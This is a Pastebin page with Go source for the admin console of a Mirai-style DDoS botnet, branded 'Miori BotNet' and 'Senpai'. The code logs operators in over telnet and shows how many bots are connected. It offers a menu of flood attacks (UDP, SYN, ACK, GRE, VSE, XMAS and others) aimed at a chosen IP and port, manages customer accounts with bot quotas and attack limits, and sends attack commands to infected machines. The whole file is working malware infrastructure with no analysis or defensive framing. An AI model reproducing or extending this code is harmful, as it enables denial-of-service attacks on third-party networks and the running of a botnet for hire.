AvengeVPS

Senpai Admin.Go

Mar 26th, 2018
409
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 15.56 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "net"
  6.     "time"
  7.     "strings"
  8.     "strconv"
  9. )
  10.  
  11. type Admin struct {
  12.     conn    net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16.     return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20.     this.conn.Write([]byte("\033[?1049h"))
  21.     this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23.     defer func() {
  24.         this.conn.Write([]byte("\033[?1049l"))
  25.     }()
  26.     // Get username
  27.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  28.     this.conn.Write([]byte("\033[1;35mUsername\033[1;36m: \033[0m"))
  29.     username, err := this.ReadLine(false)
  30.     if err != nil {
  31.         return
  32.     }
  33.  
  34.     // Get password
  35.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  36.     this.conn.Write([]byte("\033[1;35mPassword\033[1;36m: \033[0m"))
  37.     password, err := this.ReadLine(true)
  38.     if err != nil {
  39.         return
  40.     }
  41.  
  42.     this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  43.     this.conn.Write([]byte("\r\n"))
  44.     spinBuf := []byte{'-', '\\', '|', '/'}
  45.     for i := 0; i < 15; i++ {
  46.         this.conn.Write(append([]byte("\r\033[37;1mChecking Info... \033[31m"), spinBuf[i % len(spinBuf)]))
  47.         time.Sleep(time.Duration(300) * time.Millisecond)
  48.     }
  49.  
  50.     var loggedIn bool
  51.     var userInfo AccountInfo
  52.     if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  53.         this.conn.Write([]byte("\r\x1b[1;37m--INVALAD INFORMATION--\r\n"))
  54.         this.conn.Write([]byte("\x1b[1;31m--press any key to exit--\033[0m"))
  55.         buf := make([]byte, 1)
  56.         this.conn.Read(buf)
  57.         return
  58.     }
  59.  
  60.     this.conn.Write([]byte("\r\n\033[0m"))
  61.     go func() {
  62.         i := 0
  63.         for {
  64.             var BotCount int
  65.             if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  66.                 BotCount = userInfo.maxBots
  67.             } else {
  68.                 BotCount = clientList.Count()
  69.             }
  70.  
  71.             time.Sleep(time.Second)
  72.             if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
  73.                 this.conn.Close()
  74.                 break
  75.             }
  76.             i++
  77.             if i % 60 == 0 {
  78.                 this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  79.             }
  80.         }
  81.     }()
  82.     this.conn.Write([]byte("\033[2J\033[1;1H"))
  83.     this.conn.Write([]byte("\x1b[1;35m           ███████\x1b[1;36m╗\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m███\x1b[1;36m╗   \x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██████\x1b[1;36m╗  \x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\r\n\x1b[0m"))
  84.     this.conn.Write([]byte("\x1b[1;35m           ██\x1b[1;36m╔════╝\x1b[1;35m██\x1b[1;36m╔════╝\x1b[1;35m████\x1b[1;36m╗  \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  85.     this.conn.Write([]byte("\x1b[1;35m           ███████\x1b[1;36m╗\x1b[1;35m█████\x1b[1;36m╗  \x1b[1;35m██\x1b[1;36m╔\x1b[1;35m██\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██████\x1b[1;36m╔╝\x1b[1;35m███████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  86.     this.conn.Write([]byte("\x1b[1;36m           ╚════\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══╝  \x1b[1;35m██\x1b[1;36m║╚\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔═══╝ \x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  87.     this.conn.Write([]byte("\x1b[1;35m           ███████\x1b[1;36m║\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║ ╚\x1b[1;35m████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║     \x1b[1;35m██\x1b[1;36m║  \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  88.     this.conn.Write([]byte("\x1b[1;36m           ╚══════╝╚══════╝╚═╝  ╚═══╝╚═╝     ╚═╝  ╚═╝╚═╝\r\n\x1b[0m"))
  89.     this.conn.Write([]byte("\x1b[1;36m                \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[0;36mWelcome\x1b[0;36m \033[35;1m" + username + " \x1b[0;36mTo The Miori BotNet\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  90.     this.conn.Write([]byte("\x1b[1;36m                   \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;31mType help to Get Help lel\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  91.     for {
  92.         var botCatagory string
  93.         var botCount int
  94.         this.conn.Write([]byte("\033[32;1m[\033[36;1m" + username + "\033[35;1m@\033[36;1mSenpai\033[32;1m]\033[35;1m~# \033[0m"))
  95.         cmd, err := this.ReadLine(false)
  96.         if err != nil || cmd == "exit" || cmd == "quit" {
  97.             return
  98.         }
  99.         if cmd == "" {
  100.             continue
  101.         }
  102.         if err != nil || cmd == "CLEAR" || cmd == "clear" || cmd == "cls" {
  103.             this.conn.Write([]byte("\033[2J\033[1;1H"))
  104.             this.conn.Write([]byte("\x1b[1;35m           ███████\x1b[1;36m╗\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m███\x1b[1;36m╗   \x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██████\x1b[1;36m╗  \x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\r\n\x1b[0m"))
  105.             this.conn.Write([]byte("\x1b[1;35m           ██\x1b[1;36m╔════╝\x1b[1;35m██\x1b[1;36m╔════╝\x1b[1;35m████\x1b[1;36m╗  \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  106.             this.conn.Write([]byte("\x1b[1;35m           ███████\x1b[1;36m╗\x1b[1;35m█████\x1b[1;36m╗  \x1b[1;35m██\x1b[1;36m╔\x1b[1;35m██\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██████\x1b[1;36m╔╝\x1b[1;35m███████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  107.             this.conn.Write([]byte("\x1b[1;36m           ╚════\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══╝  \x1b[1;35m██\x1b[1;36m║╚\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔═══╝ \x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  108.             this.conn.Write([]byte("\x1b[1;35m           ███████\x1b[1;36m║\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║ ╚\x1b[1;35m████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║     \x1b[1;35m██\x1b[1;36m║  \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  109.             this.conn.Write([]byte("\x1b[1;36m           ╚══════╝╚══════╝╚═╝  ╚═══╝╚═╝     ╚═╝  ╚═╝╚═╝\r\n\x1b[0m"))
  110.             this.conn.Write([]byte("\x1b[1;36m                \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[0;36mWelcome\x1b[0;36m \033[35;1m" + username + " \x1b[0;36mTo The Miori BotNet\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  111.     this.conn.Write([]byte("\x1b[1;36m                   \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;31mType help to Get Help lel\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))       
  112.             continue
  113.         }
  114.         if err != nil || cmd == "HELP" || cmd == "help" || cmd == "?" {
  115.             this.conn.Write([]byte("\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;36m---------------------------------------------------------\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n"))
  116.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m               Menu for You Skids Out There                \x1b[1;36m|\r\n"))
  117.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m greip [ip] [time] dport=[port]            | greip         \x1b[1;36m|\r\n"))
  118.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m udp [ip] [time] dport=[port]              | udp           \x1b[1;36m|\r\n"))
  119.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m udpplain [ip] [time] dport=[port]         | udpplain      \x1b[1;36m|\r\n"))
  120.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m ack [ip] [time] dport=[port]              | ack           \x1b[1;36m|\r\n"))
  121.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m syn [ip] [time] dport=[port]              | syn           \x1b[1;36m|\r\n"))
  122.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m vse [ip] [time] dport=[port]              | vse           \x1b[1;36m|\r\n"))
  123.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m greeth [ip] [time] dport=[port]           | greeth        \x1b[1;36m|\r\n"))
  124.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m xmas [ip] [time] dport=[port]             | xmas          \x1b[1;36m|\r\n"))
  125.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m std [ip] [time] dport=[port]              | std           \x1b[1;36m|\r\n"))
  126.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m cls or clear                              | clears screen \x1b[1;36m|\r\n"))
  127.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m botcount or bots                          | shows bots    \x1b[1;36m|\r\n"))
  128.             this.conn.Write([]byte("\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;36m---------------------------------------------------------\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n"))
  129.             continue
  130.         }
  131.    
  132.         botCount = userInfo.maxBots
  133.  
  134.         if userInfo.admin == 1 && cmd == "adduser" {
  135.             this.conn.Write([]byte("Enter new username: "))
  136.             new_un, err := this.ReadLine(false)
  137.             if err != nil {
  138.                 return
  139.             }
  140.             this.conn.Write([]byte("Enter new password: "))
  141.             new_pw, err := this.ReadLine(false)
  142.             if err != nil {
  143.                 return
  144.             }
  145.             this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  146.             max_bots_str, err := this.ReadLine(false)
  147.             if err != nil {
  148.                 return
  149.             }
  150.             max_bots, err := strconv.Atoi(max_bots_str)
  151.             if err != nil {
  152.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  153.                 continue
  154.             }
  155.             this.conn.Write([]byte("Max attack duration (-1 for none): "))
  156.             duration_str, err := this.ReadLine(false)
  157.             if err != nil {
  158.                 return
  159.             }
  160.             duration, err := strconv.Atoi(duration_str)
  161.             if err != nil {
  162.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  163.                 continue
  164.             }
  165.             this.conn.Write([]byte("Cooldown time (0 for none): "))
  166.             cooldown_str, err := this.ReadLine(false)
  167.             if err != nil {
  168.                 return
  169.             }
  170.             cooldown, err := strconv.Atoi(cooldown_str)
  171.             if err != nil {
  172.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  173.                 continue
  174.             }
  175.             this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  176.             confirm, err := this.ReadLine(false)
  177.             if err != nil {
  178.                 return
  179.             }
  180.             if confirm != "y" {
  181.                 continue
  182.             }
  183.             if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  184.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  185.             } else {
  186.                 this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  187.             }
  188.             continue
  189.         }
  190.         if cmd == "botcount" || cmd == "bots" || cmd == "count" {
  191.         botCount = clientList.Count()
  192.             m := clientList.Distribution()
  193.             for k, v := range m {
  194.                 this.conn.Write([]byte(fmt.Sprintf("\033[1;35m%s:\t\033[1;31m[\033[1;36m%d\033[1;31m]\033[0m\r\n", k, v)))
  195.             }
  196.             this.conn.Write([]byte(fmt.Sprintf("\033[32;1mTOTAL: %d\r\n", botCount)))
  197.             continue
  198.         }
  199.         if cmd[0] == '-' {
  200.             countSplit := strings.SplitN(cmd, " ", 2)
  201.             count := countSplit[0][1:]
  202.             botCount, err = strconv.Atoi(count)
  203.             if err != nil {
  204.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  205.                 continue
  206.             }
  207.             if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  208.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  209.                 continue
  210.             }
  211.             cmd = countSplit[1]
  212.         }
  213.         if userInfo.admin == 1 && cmd[0] == '@' {
  214.             cataSplit := strings.SplitN(cmd, " ", 2)
  215.             botCatagory = cataSplit[0][1:]
  216.             cmd = cataSplit[1]
  217.         }
  218.  
  219.         atk, err := NewAttack(cmd, userInfo.admin)
  220.         if err != nil {
  221.             this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  222.         } else {
  223.             buf, err := atk.Build()
  224.             if err != nil {
  225.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  226.             } else {
  227.                 if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  228.                     this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  229.                 } else if !database.ContainsWhitelistedTargets(atk) {
  230.                     clientList.QueueBuf(buf, botCount, botCatagory)
  231.                 } else {
  232.                     fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  233.                 }
  234.             }
  235.         }
  236.     }
  237. }
  238.  
  239. func (this *Admin) ReadLine(masked bool) (string, error) {
  240.     buf := make([]byte, 1024)
  241.     bufPos := 0
  242.  
  243.     for {
  244.         n, err := this.conn.Read(buf[bufPos:bufPos+1])
  245.         if err != nil || n != 1 {
  246.             return "", err
  247.         }
  248.         if buf[bufPos] == '\xFF' {
  249.             n, err := this.conn.Read(buf[bufPos:bufPos+2])
  250.             if err != nil || n != 2 {
  251.                 return "", err
  252.             }
  253.             bufPos--
  254.         } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  255.             if bufPos > 0 {
  256.                 this.conn.Write([]byte(string(buf[bufPos])))
  257.                 bufPos--
  258.             }
  259.             bufPos--
  260.         } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  261.             bufPos--
  262.         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  263.             this.conn.Write([]byte("\r\n"))
  264.             return string(buf[:bufPos]), nil
  265.         } else if buf[bufPos] == 0x03 {
  266.             this.conn.Write([]byte("^C\r\n"))
  267.             return "", nil
  268.         } else {
  269.             if buf[bufPos] == '\x1B' {
  270.                 buf[bufPos] = '^';
  271.                 this.conn.Write([]byte(string(buf[bufPos])))
  272.                 bufPos++;
  273.                 buf[bufPos] = '[';
  274.                 this.conn.Write([]byte(string(buf[bufPos])))
  275.             } else if masked {
  276.                 this.conn.Write([]byte("*"))
  277.             } else {
  278.                 this.conn.Write([]byte(string(buf[bufPos])))
  279.             }
  280.         }
  281.         bufPos++
  282.     }
  283.     return string(buf), nil
  284. }
Add Comment
Please, Sign In to add comment